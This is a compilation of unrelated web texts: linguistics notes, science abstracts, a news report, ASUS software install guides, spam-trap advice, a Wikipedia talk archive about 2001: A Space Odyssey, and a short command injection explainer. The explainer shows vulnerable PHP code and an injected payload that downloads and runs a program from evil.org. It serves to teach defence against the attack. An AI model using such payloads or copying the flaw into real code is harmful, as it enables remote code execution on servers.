§ 58,1. s is never voiced. Broad=ꜱ, slender=s. It occurs in anlaut and protected in inlaut, otherwise it becomes h. solus ꜱoʟiꜱ, searb saʀᴜᴠ, is is; probably this is but the relative form as. In enclitic particles it changes its timbre according to the foregoing vowel, annsin ɴ′ꜱᴜɴ (here accented), an fear sin ꜱɴ′, but an fear sin annsin sin, mise tusa ᴛᴜꜱə, an old change. Hence the writings seo so, san sin. sin a mere enclitic, not demonstrative, = ꜱɴ′; thád siad go dona, thád sin ꜱɴ′, they are in a bad way so they are.
2. ó shoin is ō ᴄin, cá shoin ᴋǡ or ᴋȧ ᴄin. § 10,1.
3. s of the article kept after preps. in, la, etc. has spread to other preps. in the pl. fésna, trísna, dosna, desna (gesna). A wrong division of the prep. in from the article | WIKI |
Robert Ross (botanist)
Robert Ross, Fellow of the Linnean Society (14 August 1912 in Pinner – 25 May 2005) was an English botanist. He was Keeper of Botany at the British Natural History Museum. | WIKI |
chapter 8
Problems: energy and ether
Pages 18
The nature of heat As we saw in Chapter 4 (p. 74) Bacon thought he had shown that heat was a form of motion. But despite his prestige another theory came to be favoured l . It was held that heat was a material substance, probably some sort of fluid and possibly an element. Some philosphers, for example Robert Boyle, tried to show that heat had weight so that bodies were heavier when they were hot. Others, who did not consider weight to be an essential property of matter, (see quotation on p. 67) suggested that heat was weightless so that bodies remained the same weight however hot or cold they became. There was no general agreement; indeed for a short time there was yet another theory which suggested that there were two different fluids, one producing heat and the other cold, though by the eighteenth century it had become generally accepted that cold was a deficiency of heat. The fluid responsible for heat was called 'caloric' and the caloric theory of heat survived into the nineteenth century. | ESSENTIALAI-STEM |
Italy, EU prep aid for Libya's fight against people smuggling
ROME (Reuters) - Italian and European officials said on Monday they are ready to send equipment and economic aid to Libya to help it fight people smuggling, as the leader of Tripoli’s U.N.-backed government sought more resources. Italy hosted a meeting of interior ministers from eight European Union countries, including Germany and France, to strengthen support for last month’s agreement to help Libya fight human trafficking. The prime minister of the U.N.-backed government in Tripoli, Fayez al-Seraj, spoke to the group behind closed doors and “asked for more money and equipment,” said a source present but unauthorized to speak to the media. “Now there must be very significant investments,” Italian Interior Minister Marco Minniti told reporters after the meeting. “There’s a total and absolute commitment to do this.” “Migrant flows to Italy unfortunately continue to increase,” added EU Migration Commissioner Dimitris Avramopoulos. “If there’s one country under huge pressure, it’s Italy.” Rescuers picked up about 3,300 migrants from rubber boats off the coast of Libya on Sunday. Boat arrivals to Italy have surged about 50 percent compared to the same period last year. Of the 200 million euros ($215.04 million) the EU set aside last month to fight smuggling in the central Mediterranean, 90 million euros was earmarked for Libya, Avramopoulos said. Italy has set up a separate 200-million-euro fund to help African countries control their borders. Seraj is seeking a total of 800 million euros and has compiled a long list of needed equipment, including four helicopters and a total of 20 boats, Italy’s Corriere della Sera newspaper reported on Monday. Smugglers are thriving in the power vacuum left after the overthrow of former Libyan strong-man Muammar Gaddafi in 2011. Two governments are now vying for control - in Tobruk to the east and Tripoli to the west - and the country is mired in factional fighting. The first of 10 patrol boats promised to Libya’s coast guard will be sent by mid-May, Minniti said. Neither he nor Avramopoulos said when other aid may be allocated. Migrants stopped by the Libyan coast guard will be brought to camps managed by the Tripoli government, but which will be assisted by U.N. humanitarian agencies and the EU, Minniti said. “There will be camps that are created together with the humanitarian organizations in full respect of peoples’ rights,” Minniti said, adding that migrants will be able to seek asylum in Europe from the Libyan camps. Editing by Julia Glover | NEWS-MULTISOURCE |
lysosomal p1
How are signals of extracellular stress relayed to lysosomes?
We have previously demonstrated that the key lysosomal transcription factors, Tfeb and Tfe3, activate lysosomal pathways in microglia and macrophages specifically in response to extracellular stress in zebrafish. Our findings question the established view that these transcription factors are required for basal lysosomal activity and reveal mechanisms using which macrophages can turn on endolysosomal signaling when challenged with immunological triggers. Our observation that macrophages have a dedicated, conserved signaling pathway to deploy lysosomal activation in response to stress led us to investigate the molecular mechanisms using which macrophages sense a wide range of environmental stress cues and transmit them to lysosomes. We believe that a broad understanding of how brain and peripheral macrophages respond to stress in vivo will be important to enhance our knowledge of infection, repair, aging, and other processes that hinge upon macrophage stress responses.
lysosomal p2
What are the key molecular differences in the endolysosomal pathway between professional and non-professional phagocytic cells?
Although multiple cell types are equipped with the ability to perform phagocytosis in invertebrates, in vertebrates, this indispensable task is delegated to the professional phagocytes, including microglia and macrophages. Indeed, it has been shown that circulating monocytes, the progenitors of tissue-resident macrophages, have limited phagocytic capacity, thus indicating that the ability to phagocytose is acquired during development and through differentiation. We are fascinated by multiple open-ended questions in the field of phagocytosis: Are there molecular signals that are necessary and sufficient to endow phagocytic capacity to cells? Is the endolysosomal cascade conserved between phagocytic and non-phagocytic cell populations? Do non-professional phagocytes, such as epithelial cells, lose their phagocytic potential as development progresses? What are the “find-me”, “eat-me”, and “don’t-eat-me signals” in play during “phagoptosis” (cell death by phagocytosis), and how is this delicate process regulated? | ESSENTIALAI-STEM |
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Data from: Importance of metabolic rate to the relationship between the number of genes in a functional category and body size in Peto's paradox for cancer
Cite this dataset
Takemoto, Kazuhiro; Ii, Masato; Nishizuka, Satoshi S. (2016). Data from: Importance of metabolic rate to the relationship between the number of genes in a functional category and body size in Peto's paradox for cancer [Dataset]. Dryad. https://doi.org/10.5061/dryad.8j0kf
Abstract
Elucidation of tumour suppression mechanisms is a major challenge in cancer biology. Therefore, Peto's paradox, or low cancer incidence in large animals, has attracted focus. According to the gene-abundance hypothesis, which considers the increase/decrease in cancer-related genes with body size, researchers evaluated the associations between gene abundance and body size. However, previous studies only focused on a few specific gene functions and have ignored the alternative hypothesis (metabolic rate hypothesis): in this hypothesis, the cellular metabolic rate and subsequent oxidative stress decreases with increasing body size. In this study, we have elected to explore the gene-abundance hypothesis taking into account the metabolic rate hypothesis. Thus, we comprehensively investigated the correlation between the number of genes in various functional categories and body size while at the same time correcting for the mass-specific metabolic rate (Bc). A number of gene functions that correlated with body size were initially identified, but they were found to be artefactual due to the decrease in Bc with increasing body size. By contrast, immune system-related genes were found to increase with increasing body size when the correlation included this correction for Bc. These findings support the gene-abundance hypothesis and emphasize the importance of also taking into account the metabolic rate when evaluating gene abundance–body size relationships. This finding may be useful for understanding cancer evolution and tumour suppression mechanisms as well as for determining cancer-related genes and functions.
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Modular Transgenic Strain Systems for Modeling Speech Defects and Brain Disorders in the Zebra Finch
Science / Life Sciences
In neurobiology, form and function are highly interconnected. Small mutations in genes can lead to changes in their outcomes, RNA and proteins. These changes, in turn, can lead to disturbances in the structure and functioning of the brain, i.e., a neurological disorder. To understand how mutations influence form and function in the brain, studying them in animals with relevant behavior is necessary. For vocal learning, which is inherent to speech development, such models do not yet exist. In order to overcome this barrier and investigate how mutations linked to speech disorders affect brain circuits, we propose to generate a modular system of transgenic strains in the zebra finch (Taeniopygia guttata). This system, based on the Cas9 endonuclease, could be used to manipulate specific genes through the inclusion of guide RNA (gRNA). In order to test our system, we plan to generate two genetic models of human disorders that affect language: autism and persistent stuttering.
Amount invested
R$ 100,000,00
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How to Install AI Suite 3?
ASUS Ai Suite 3 is an all-in-one interface that gives you access to several ASUS utilities. In this tutorial, we will show you how to install and use it.
• Download the latest Ai Suite 3 from the official website
• Extract the downloaded file to a new folder
• Run the installation file “Setup
• exe” as administrator
• Follow the on-screen instructions to complete the installation process
How to Download ASUS AI Suite 3 for STRIX ROG_E GAMING 2021
How Do I Open Asus AI Suite 3?
ASUS AI Suite 3 is a powerful tool that allows you to control and monitor various aspects of your ASUS motherboard. In order to open AI Suite 3, you must first launch the program from your Windows Start menu. Once AI Suite 3 is open, you will be presented with a main window that contains a number of different tabs.
These tabs allow you to access different features of the program. For example, the “Monitor” tab allows you to view real-time information about various components of your system, while the “Tuning” tab allows you to optimize your system for better performance.
Does Armory Crate Replace AI Suite 3?
No, Armory Crate does not replace AI Suite 3. While both software programs offer a variety of features for Asus motherboard owners, they serve different purposes. AI Suite 3 is an all-in-one interface that offers users a way to control and monitor various aspects of their Asus motherboard and system.
It includes tools for overclocking, monitoring system performance, managing fan speeds, and more. Armory Crate is a new software program from Asus that focuses on providing users with a one-stop shop for controlling their RGB lighting effects. It includes pre-set lighting profiles for different games and applications, as well as the ability to create custom lighting effects.
What is AI Suite 3 Asus?
ASUS AI Suite 3 is a one-stop shop for all your PC needs. It offers a variety of tools to help you get the most out of your PC, including performance optimization, system monitoring and troubleshooting. You can also use AI Suite 3 to customize your PC’s look and feel.
How Do I Update My Asus AI Suite 3?
ASUS AI Suite 3 is a program that allows you to manage your ASUS Republic of Gamers (ROG) products. You can use it to overclock your CPU and monitor your system’s temperature, fan speed, and voltage. You can also use AI Suite 3 to update the BIOS and drivers for your ROG products.
To update AI Suite 3, first download the latest version from the ASUS website. Then, run the setup file and follow the on-screen instructions. Once AI Suite 3 is installed, launch the program and click on the “Check for Updates” button.
AI Suite 3 will then check for any available updates and prompt you to install them.
How to Install Ai Suite 3?
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AI Suite 3 Download for Windows 10
ASUS AI Suite 3 is an all-in-one interface that gives you access to the functions of several ASUS utilities. It allows you to monitor your system’s vitals, overclock your CPU and monitor system temperatures. You can also use it to control the RGB lighting on your motherboard and other devices connected to it.
In this article, we will show you how to download and install AI Suite 3 on Windows 10. ASUS AI Suite 3 is not available on the Microsoft Store, so you will need to download it from the ASUS website. Go to the following link and scroll down to the “Downloads” section: https://www.asus.com/ Motherboards/ Z390-A-ROG-MAXIMUS/HelpDesk_Download/.
Click on the “AI Suite 3” download link and save the file to your computer. Once the download is complete, double-click on the setup file and follow the prompts to install AI Suite 3. Once installed, launch AI Suite 3 from your Start Menu or Desktop shortcut.
You will be greeted by a welcome screen with four different tabs: EZ Mode, Advanced Mode, My Favorites, and Support Center. Click on any of these tabs to access their respective features or settings. In EZ Mode, you can quickly view information about your system’s vitals such as CPU temperature, fan speeds, etc.
In Advanced Mode, you can tweak more advanced settings such as overclocking your CPU or changing the RGB lighting effects of your motherboard or other compatible devices. My Favorites allows you to save any changes or settings that you make for easy access in future sessions. The Support Center tab contains links to helpful resources such as FAQs and troubleshooting guides in case you encounter any problems while using AI Suite 3.
That’s all there is to installing and using ASUS AI Suite 3!
Ai Suite 3 Download for Windows 11
ASUS AI Suite 3 Download for Windows 10, 8, 7 is a useful utility that comes pre-installed on ASUS laptops. It allows you to fine-tune your system settings, manage and update apps, monitor hardware status, and do much more. Unfortunately, many users have reported issues with AI Suite 3 after upgrading to Windows 10.
If you’re one of them, don’t worry – there are a few things you can do to fix the problem. First of all, make sure that your computer meets the minimum system requirements for AI Suite 3. Then, try reinstalling the app from scratch.
You can also try running the app in compatibility mode or as an administrator. If none of these solutions work, it’s probably best to uninstall AI Suite 3 and look for alternative software.
Conclusion
In order to install Ai Suite 3, you will need to first download the software from the official website. Once you have downloaded the software, you will need to double-click on the file in order to begin the installation process. During the installation process, you will be prompted to select a location for the installation.
It is recommended that you choose a location that is easy to remember, such as your desktop or downloads folder. After selecting a location, click “next” and follow the remaining prompts in order to complete the installation.
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Common Problems Associated with Spam Traps and its Preventation
Spam traps are email addresses activated for the sole purpose of catching illegitimate email and identifying senders with poor data quality practices. Internet Service Providers (ISPs) and anti-spam organizations create and manage spam trap networks and use spam traps,
Common Problems Associated with Spam Traps
1. Return Path studies have shown that one spam trap can reduce your Sender Score more than 20 points and can decrease your inbox placement rates to 81% and lower.
2. ISPs will lower your sending reputation for too many spam trap hits.
3. Mailing IPs and/or domains may become blacklisted.
4. Membership in the Return Path Certification Program may be suspended for exceeding the acceptable thresholds defined within the compliance standards.
Preventing Spam Traps
1. Reject requests for malformed addresses (i.e. me@hotmai.lcom).
2. Reject abuse@ and postmaster@ addresses.
3. Reject role accounts (i.e. sales@company.com, customerservice@company.com).
4. Send Welcome/Confirmation email messages and use a confirmed or double option process to validate newly acquired email addresses before adding them to your file. It is best practice to use a separate IP space and monitor spam trap rates.
5. Having multiple pages or CAPTCHA during the subscription process aids in preventing list poisoning.
6. Provide a change of email address option in all emails, in a preference center and at the point of unsubscribe.
7. Do not purchase, rent or lease email addresses from third parties or perform email appends on your files.
8. Isolate and monitor “Import Address Book” and “Forward to a Friend” mail streams on separate IPs and sub-domains to identify spam traps and protect your other email programs. These types of features commonly collect old email addresses that have likely been converted into spam traps.
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Command Injection and its preventation
A successful command injection attack gives the attacker complete control of the remote system. When user input is used as part of a system command, an attack may be able to inject system commands into the user input. This can happen in any programming language; however, it is very common in Perl, PHP, and shell based CGI. It is less common in Java, Phython, and C#. Consider the following PHP code snippet:
<?php
$email_subject = “some subject”;
if ( isset($_GET{‘email’}))
{
system(“mail ” + $_GET{‘email’}) + ” -s ‘” + $email_subject +”‘ < /tmp/email_body”, $return_val);
}
?>
The user sends his or her e-mail address in the email parameter, and that user input is placed directly into a system command. Like SQL injection, the goal of the attacker is to inject a shell command into the email parameter while ensuring that the code before and after the email parameter is syntactically correct. Consider the system() call as a puzzle. The outer puzzle pieces are in place, and the attacker must find a puzzle piece in the middle to finish it off:
mail [MISSING PUZZLE PIECE] –s ‘some subject’ < /tmp/email_body
The puzzle piece needs to ensure that the mail command runs and exits properly. For example, mail –help will run and exit properly. Then the attacker could add additional shell commands by separating the commands with semicolons (;). Dealing with the puzzle piece on the other side is as simple as commenting it out with the shell comment symbol (#). Thus, a useful puzzle piece for the email parameter might be this:
–help; wget http://evil.org/attack_program; ./attack_program #
Adding this puzzle piece to the puzzle creates the following shell command:
mail –help; wget http://evil.org/attack_program;
./attack_program # s ‘some subject’ < /tmp/email_body
This is equivalent to this:
mail –help; wget http://evil.org/attack_program; ./attack_program
This runs mail –help and then downloads attack_program from evil.org and executes it, allowing the attacker to perform arbitrary commands on the vulnerable web site.
Preventing Command Injection
Preventing command injection is similar to preventing SQL injection. The developer must escape the user input appropriately before running a command with that input. It may seem like escaping semicolon (;) to backslash-semicolon (\;) would fix the problem. However, the attacker could use double-ampersand (&&) or possibly double-bar (||) instead of the semicolon. The escaping routine is heavily dependent on the shell executing the command. So developers should use an escape routine for the shell command rather than creating their own routine.
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Adjective
* 1) Accorded a reputation.
* 2) Supposed or assumed to be true.
* 1) Supposed or assumed to be true.
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Fuel Injection Cleaners: Do They Really Work?
Fuel Injection Cleaners: Do They Really Work?
25th Nov 2021
When browsing the aisles of your local auto parts store, you may come across fuel injection cleaners. They are typically sold in small bottles. There are dozens of different fuel injection cleaners, some of which are cost more than others. Regardless, they all claim to improve engine performance by removing buildups in fuel lines. If you've never used them before, though, you might be wondering if fuel injection cleaners really work.
Overview of Fuel Injection Cleaners
Fuel injection cleaners are solvent-based products that are designed to clean the fuel lines and other pathways through which fuel travels. All vehicles with a combustion engine, of course, require fuel. Combustion engines work by burning fuel and air. A device known as a fuel pump will send fuel from the tank to the injectors, after which the injectors will spray the fuel into the engine's intake manifold.
Over time, deposits can accumulate in the fuel lines and injectors that inhibit the flow of fuel. Both fuel lines and injectors have narrow pathways. Therefore, even small deposits can make it difficult for fuel to travel through them. Fuel injection cleaners consist of solvent-based chemicals that are designed to remove these deposits.
Yes, Fuel Injection Cleaners Really Work
For removing deposits from fuel lines and injectors, fuel injection cleaners absolutely work. They will dissolve the deposits left behind by spent fuel. If your vehicle is running lean -- or if you've experienced misfires when driving -- you may want to use a fuel injection cleaner. It's an inexpensive and effective way to remove fuel deposits.
Most fuel injection cleaners are added to the fuel tank. You don't need to access the engine bay, nor do you need to use any special tools. Just pop the cap off your vehicle's fuel tank and pour the fuel injection cleaner into it. Once added, the fuel injection cleaner will mix with the fuel. It will follow the same path as the fuel, meaning the solvent-based chemicals will travel through the fuel lines and into the fuel injectors.
Tips on Using a Fuel Injection Cleaner
Always read the instructions before using a fuel injection cleaner. Depending on the particular type, you may need to add the whole bottle to your vehicle's fuel tank, or you may only need to add a half bottle to it.
Rather than waiting until your vehicle's fuel injectors are already clogged, consider using a fuel injection cleaner once every 1,500 to 3,000 miles. Alternatively, you can use it whenever you get an oil change. Taking a proactive approach to using a fuel injection cleaner will promote a healthier engine. | ESSENTIALAI-STEM |
Talk:2001: A Space Odyssey/Archive 3
Synopsis is still overlong?
Reviewing the last month's edits, I see a little edit war briefly flared over the plot tag in the article. I think the synopsis is much shorter than it was last year, the music references and other cruft are removed. On my monitor, the synopsis is barely more than 1.5 screenfuls of info. I don't consider that overlong. I'm considering removing the tag. Discussion? David Spalding ( ☎ ✉ ✍ ) 13:11, 7 June 2007 (UTC)
* I still think its a little overlong. I believe the synopsis has some extraneous details that could be removed w/out damaging the section's coherence. I haven't had a chance to make further edits since last month but I will try to continue this weekend. Meanwhile, I'd like the tag to remain to cue others to jump in and assist, if possible.-Hal Raglan 21:59, 6 July 2007 (UTC)
* Please try to limit it to 500 words. So every plot detail does not need to be mentioned. For example, the plot section is to excessive in describing particular situations in the film. It is, however, improving though, considering how long it was last year. BlueVelvet86 06:40, 16 July 2007 (UTC)
Photographing the Monolith
This is a total aside, but recently I was recalling something odd with regard to first seeing 2001 at age ten. It involves the scene where the astronauts begin to take group photos in front of the Moon Monolith, but are interrupted by the squealing sound. I'm remembering my immediate interpretation, which was that the Monolith was angered by being photographed and was retaliating! Almost as if they had just met God, and instead of simply experiencing awe, their first instinct was "Quick! Get a photo of me with God!". Meanwhile, God's reaction was "I don't think so!" Later, reading the book and the explanation of the transmission to Saturn (Jupiter in the film), I guess I forgot about my inital visceral reaction until now. Did anybody else have a similar inital reaction? Sailorlula 16:08, 13 July 2007 (UTC)
* I can remember at one point thinking the Tycho monolith was "set off" by being touched by Floyd, until a later viewing indicated that the sun overhead might be the trigger. (Plus ... other excavators would have had to touch it to clean it off, unless it was charged in such a way that dirt was repelled.) Or ... "don't touch, it's got a car alarm!" :D David Spalding ( ☎ ✉ ✍ ) 14:21, 13 August 2007 (UTC)
Television prints
All versions of the film that I have seen on television carry a "Presented by Metro-Goldwyn-Mayer in Cinerama" title in the end credits. Does anyone know if all TV prints, new and old, were made from 70mm prints, or did the 35mm general release prints retain the Cinerama title?
* I don't believe that there were different credits for pritnts. The end titles were the end titles. If you don't have a recent DVD, I can peek at mine.... I'm pretty confident that non "television" pan 'n scan cuts were made from 70mm prints, but it's possible that ... at one time ... they were. Hard to know. David Spalding ( ☎ ✉ ✍ ) 20:58, 2 August 2007 (UTC)
Edits by <IP_ADDRESS> and removal of "plot summary" tag
Anonymous editor <IP_ADDRESS> has recently reverted the article's summary section to one that is several months' old. This now-ancient synopsis had been trimmed by multiple editors in response to a consensus on this talk page that the plot outline as it existed months ago was overly long and full of irrelevant detail, editorial interpretation and Original Research. After I advised the editor of wikipedia's various policies regarding preferred plot length and the 3RR rule (which the editor violated), he/she has attacked me on my talk page as being "facist" and to date refuses to discuss the issues raised. I defy anybody to agree with <IP_ADDRESS> that his/her version of the synopsis is superior to the one that previous hard working editors had created. Also, the same editor has repeatedly removed the "plot summary" tag w/out adequate explanation. I don't necessarily want to get into a nasty edit war so I invite others to add to the discussion here before I do a full-scale revert. Thanks.-Hal Raglan 01:53, 11 August 2007 (UTC)
* I'd like to correct the false information in your statements with all due respect.I DID add that information, but then to your request, I removed MUCH of the original OR, and added more about the plot of the film and "synopsis." —Preceding unsigned comment added by <IP_ADDRESS> (talk) 22:53, 10 August 2007
* It does appear that you self-reverted, 172. That's great! Now you can hash it out here on the talk page instead of edit warring. Excellent! And please sign your talk page posts with four tildes ~ per Talk page. – Dreadstar † 03:53, 11 August 2007 (UTC)
* Several inaccuracies have been re-introduced to the synopsis. Many of these, including the length, have been discussed at length (including the occasion when I made major contributions to the plot, then amended them based on reasonable and concise discussion) here on the Talk page. I can't wade into the detritus of the 60+ edits over the last 24 hours, just hope that the synopsis has returned to close to its state on Wednesday. <IP_ADDRESS>, please note: I caution the anonymous user (apparently new to editing WP in the last two days) to slow down, register, and discuss synopsis changes here. 'Nuff said. Further renegade editing, 3RR and such will be viewed (by me at least) as mischievious vandalism. I don't own this page, but I sure do care about (as do several others whose usernames appear frequently in this page's archive). David Spalding ( ☎ ✉ ✍ ) 16:19, 11 August 2007 (UTC)
Synopsis, inaccuracy checking
Rather than making my own reversions/changes (I've had my day in the sun), I'd like an editor to compare the current synopsis (1300 words, last I checked (including captions for images)), and compare with this longer version from last winter which I think was pretty solid on facts and plot details (e.g. HAL's deceptive "informal conversation" with Bowman, in whch the latter catches HAL in a ruse). The WikiProject Film guideline on this is something like 400 - 700 words, so some trimming would be nice, but ONLY if it can be done without removing plot details (like Floyd's interrogation by Leonard Stone on the station, Floyd's asssertion of security requirements on Clavius, Bowman and Poole planning to disconnect HAL while he/it spies on them). Have a go,.... David Spalding ( ☎ ✉ ✍ ) 16:18, 12 August 2007 (UTC)
* Y'know, he said in a jovial sort of Heywood Floyd voice, the Plot tag really says, the synopsis is "overly long or excessively detailed compared to the rest of the article." I don't agree with this now. The Synopsis is only about a 1200 words, but pretty brief. Since much of the plot is nonverbal, some descriptive text is necessary. Also, the film is over two hours in length, so a longer Synopsis section can be permitted. I'm beginning to think the Synopsis section doesn't need to be tagged as overlong any more. Discussion? David Spalding ( ☎ ✉ ✍ ) 18:36, 13 August 2007 (UTC)
* I think the synopsis has been trimmed considerably and most of the extraneous detail has been removed. The film is unusually complex in nature and any additional pruning could destroy the relative coherence of the section. I have no problems with the tag being removed at this point.-Hal Raglan 19:18, 13 August 2007 (UTC)
* Tag removed. I think it's as lean as it can get without removing plot points that actually relate to the story. David Spalding ( ☎ ✉ ✍ ) 00:22, 18 August 2007 (UTC)
Pre-release cut: was it 19 minutes, or 24? + how many times do we need to refer to delete scenes (please consolidate)
Can someone with LOST WORLDS or MAKING OF check ... we have conflicting statements as to whether Kubrick cut 19 minutes, or 24 minutes, between test screenings and and the premiere. Also, if you can find direct details in Agel as to the cut man-ape death scene, and any Clavius scenes, my addition goes on memory and (in the case of the Clavius water pool) a still photo. We seem to be referring to cut scenes no less than three times in the Production and Release sections (!). Could someone consolidate these after reviewing a reference? TIA! David Spalding ( ☎ ✉ ✍ ) 18:12, 13 August 2007 (UTC)
* I'll check the book tonite to see what the film's original running time was. However, wasn't the film edited after its initial theatrical release in a handful of theatres? I don't think the edits occurred after test screenings. I agree that one mention of the cuts is all the article needs.-Hal Raglan 19:21, 13 August 2007 (UTC)
* I only recall that he did test screenings, and then cut a lot out of the man-ape scene, including a death scene (I'm remembering something about Stuart Freeborn's remarkable work with flies around the actors). I have a still of a pic from Clavius with Floyd watching children doing art, around a large pool/fountain (which continues the motif of the water hole, drinking, "Poole," etc.). I hadn't heard about cuts from the Discovery sequences, but I'll bet Agel has the straight dope. (crosses fingers) Thanks for checking, Hal! Open the pod bay doors.... David Spalding ( ☎ ✉ ✍ )
* Guys, I'm (still) finalising an expanded Production section which will consolidate a number of things, however in the meantime I'll review/correct/merge these with the aid of Clarke, Agel, etc. Cheers, Ian Rose 01:48, 14 August 2007 (UTC)
* Great edits, Ian. Thanks! David Spalding ( ☎ ✉ ✍ ) 02:41, 16 August 2007 (UTC)
"Director's cut?"
The infobox refers to a 7-minute longer "director's cut...." What is this? There's been no "director's cut" of the film. Could this refer to video releases which restore the audio-only entrance and intermission music? If so, this isn't technically a new "cut" of the film, just a presentation with those extras included restored. (I can imagine them left off the VHS release due to the limitations of the tape format.) Can someone explain this? TIA, David Spalding ( ☎ ✉ ✍ ) 18:39, 13 August 2007 (UTC)
* I have a vague recollection of seeing 35mm cuts in theaters without the walk-in or any intermission. So ... that's all I can think of. If someone can't corroborate the "director's cut," I'm ... cutting it. >:) David Spalding ( ☎ ✉ ✍ )
* Removed. If a citation can be provided for a "director's cut" then it can be reinstated. Generally, though, I don't think "walk-in" and "Entr'acte" music is counted infilm runtimes. David Spalding ( ☎ ✉ ✍ ) 00:22, 18 August 2007 (UTC)
* Agreed, never heard of it either. Cheers, Ian Rose 00:36, 18 August 2007 (UTC)
* Agreed -- there simply is no director's cut. Sailorlula 22:33, 20 August 2007 (UTC)
Scientific Accuracy
In Scientific Accuracy, there is one point that probably ought to be made, but I'm not sure how to make it.
The section in the main article about Scientific Accuracy is important mainly because it plays an important aesthetic as a narrative part of the story. One reason being, as both Kubrick and Clarke stated (I won’t give the exact quote) to make the definitive ‘good’ science fiction film. (Though Kubrick must have been aware of films such as This Island Earth, Invasion of the Body Snatchers, Forbidden Planet, even Pal’s War of the Worlds and Time Machine…..a few others). One supposes they meant the Hard Science Fiction film story of which there were few if any, (though one could count Destination Moon as hard science fiction).
Aajacksoniv (talk • contribs) 11 November 2007 (UTC)
In 1968, the use of tools was thought to be a (the?) characteristic that set humans apart from other mammals. But later Jane Goodall found chimpanzees make and use tools. Prior to her discovery, it was entirely reasonable for one to imagine alien intervention in human evolution as being the instigation of tool use. Today, this plot element seems dated.
This is a Scientific Inaccuracy, but one somewhat different in nature than the others. How to properly include it?
Tomday 02:48, 7 October 2007 (UTC)
I don't think so. If the containers were elastic (and from their tray-of-plastic appearance, they almost certainly are), the container would suck the fluid back down itself. Much like a juice box, suction through the straw slightly deforms the container. When the suction disappears, the container springs back to its original shape, and the fluid is sucked back in.
The other points are good but I suggest striking this one from the list. -- <IP_ADDRESS> 00:45, 21 August 2007 (UTC)
* I wouldn't argue. I've never liked labeling this as a "mistake" as a) we don't know from what's on screen that the dispenser didn't have a way to reclaim liquid, b) it would make sense for such a design to be used for space travel frequented by untrained non-professional astronauts. You don't want a cabin full of carrot juice droplets, would you? Those stewardesses' work would never be done. Some people just like finding glitches in films, and eagerness to pounce on "mistakes" clouds reasonable suspension of disbelief. David Spalding ( ☎ ✉ ✍ ) 16:47, 21 August 2007 (UTC)
* Agree. This old chestnut should be removed, and kept out in the future -- which is a chore since it's a favorite for newbies to gleefully point out. Agel's 1970 "Making of" book is probably the first source that claims this was an error. (See the caption on the image of Floyd sipping, LH page opposite Zero Gravity Toilet Instructions.) It's becoming more and more clear that there is quite a bit of unsubstantiated conjecture presented as fact in Agel's book. Sailorlula 22:18, 22 August 2007 (UTC)
I cut the following from the list of errors: "* Immediately after the previous scene a shot overlooking the test site shows the lunar surface with Earth's moon in the background." That's the Earth in the background, not the Earth's moon. It's not an inaccuracy. (Brian Siano)
Why is there a section for Scientific Accuracy for a science fiction film? —Preceding unsigned comment added by <IP_ADDRESS> (talk) 20:08, 17 September 2007 (UTC)
'''Because 2001 is derived for the modern prose form of science fiction, SF. Modern 'hard' SF is not to be confused with Flash Gordon or Buck Rogers. John W Campbell banished these forms from his famous magazine Astounding/Analog in 1938, Hard Science Fiction. 2001 is Hard Science Fiction'''.Aajacksoniv (talk • contribs) 11 November 2007 (UTC)
As it is notable for it's accurate portrayal of the laws of physics - something uncommon for films of the time, and not common even now. I agree that the "liquid falling down the straw" should be removed. <IP_ADDRESS> 22:38, 18 September 2007 (UTC)
In Scientific Accuracy in the main article, the whole article itself, 2001's prime technical consultant Frederick I. Ordway II,is not mentioned once!
http://www.visual-memory.co.uk/amk/doc/0075.html
A reference of particular importance should be included
Part B: 2001: A SPACE ODYSSEY IN RETROSPECT, Frederick I Ordway, III Volume 5, American Astronautical Society History Series SCIENCE FICTION AND SPACE FUTURES: PAST AND PRESENT, Edited by Eugene M. Emme, 1982, pages 47 - 105. (ISBN 0-87703-172-X) (ISBN 0-87703-173-8). A detailed account of development and filming of 2001: A Space Odyssey by its technical adviser, Fred Ordway. —Preceding unsigned comment added by Aajacksoniv (talk • contribs) 16:29, 16 November 2007 (UTC)
How come this valid reference was deleted from the main article, when under the heading Scientific Accuracy not all the entries are about scientific inaccuracies?!
REPLY: You wrote: Ordway The reason for removing my reference to Frederick I Ordway published technical article passes beyond my understanding. Where should that reference go in the main article? - - - - - - -
Why is it hard to understand that your Ordway text just doesn't belong IN THE MIDDLE of a list of inaccuracies?
That said, Ordway is an under-discussed person who really was of importance to the film. Perhaps you should start a new section altogether in the article, where the contributions of key staffers like Ordway and Trumbull are covered.
Regards, --Sailorlula (talk) 02:32, 18 November 2007 (UTC)
(1) Because the section is titled Scientific Accuracy not Scientific Inaccuracies.
(2) Read the first two paragraphs of that section, they speak to Scientific Accuracy, not one word about inaccuracy until paragraph three, that section needs a new section title.
Ok I will try to start a new section, though I don't agree with the reason given for not placing the reference in this section.
The reference is quite important because it is most detailed essay on the technological milieu of the film given by its prime technical adviser. -- A Jackson (talk) 18 November 2007
'''The use of the vacuum of interplanetary space as art. ''' Kubrick uses the hard scientific fact that there is nothing to transmit sound in space as film art. When the point of view is outside a space ship or other such object in 2001 music is the only artistic sound framing. Otherwise we always have either silence or the perception of an astronaut, such as Bowman breathing. Recall the reentry into the Discovery, the hatch blows there is a little gas condensation in motion but not until Dave closes the airlock do we hear any sound. Recall also a point of view some distance from the Discovery, two meteoroids wheel by, absolute silence, no ‘whizzing’ sound, it is a beautiful creative construct. Many such examples occur in the film. (One does have to note that in the film Apollo 13 (film) a fair job is done of this, supposedly when the point of view is outside the spacecraft the sounds we hear are ones the astronauts hear inside the cockpits, supposedly the viewer is to figure this out for themselves, but the film narrative is a bit slip shod in this area, Kubrick never made that mistake.) unsigned comment added by Aajacksoniv (talk • contribs) 12 November 2007 (UTC)
Good article candidacy revived
Whoever tagged the article failed didn't put the date, and i don't see reasons. I think the article has matured. I'm submitting it again. If you fail the article, please provide specific and reasonable feedback. David Spalding ( ☎ ✉ ✍ ) 16:50, 21 August 2007 (UTC)
Good article nomination failed
This article needs many more references to support what is being said. The many tags in the article to this effect attest to this. Please consider re-submitting the article after improvements are made. -- Johnfos 06:23, 22 August 2007 (UTC)
* Additionally, the article probably has too many screenshots to still qualify as fair use; maybe three or four should remain in the article. The image in the cast section needs a fair use rationale. Based on the article's length, the lead should be around three or four paragraphs and better summarize the rest of the article (see WP:LEAD). Before nominating the article again, consider taking it to WP:Film's peer review first to see if there are any other issues that should be addressed besides the ones listed here. --Nehrams2020 06:39, 22 August 2007 (UTC)
